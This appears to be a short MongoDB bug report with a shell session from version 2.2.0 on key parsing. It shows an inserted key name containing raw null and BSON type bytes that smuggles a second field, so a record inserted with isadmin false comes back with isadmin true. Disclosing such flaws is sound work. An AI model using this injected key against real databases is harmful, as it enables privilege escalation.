Shell doesn't parse invalid keys correctly

MongoDB shell version: 2.2.0

connecting to: test

> db.test.remove()

> db.test.insert({ "name" : "no admin 2", "isadmin" : false})

> db.test.find()

{ "_id" : ObjectId("504f883dbc114eb55c6387af"), "name" : "no admin 2", "isadmin" : false }

> db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "no admin 2", "isadmin" : false })

> db.test.find()

{ "_id" : ObjectId("504f883dbc114eb55c6387af"), "name" : "no admin 2", "isadmin" : false }

{ "_id" : ObjectId("504f8843bc114eb55c6387b0"), "name" : null, "isadmin" : true, "isadmin" : true }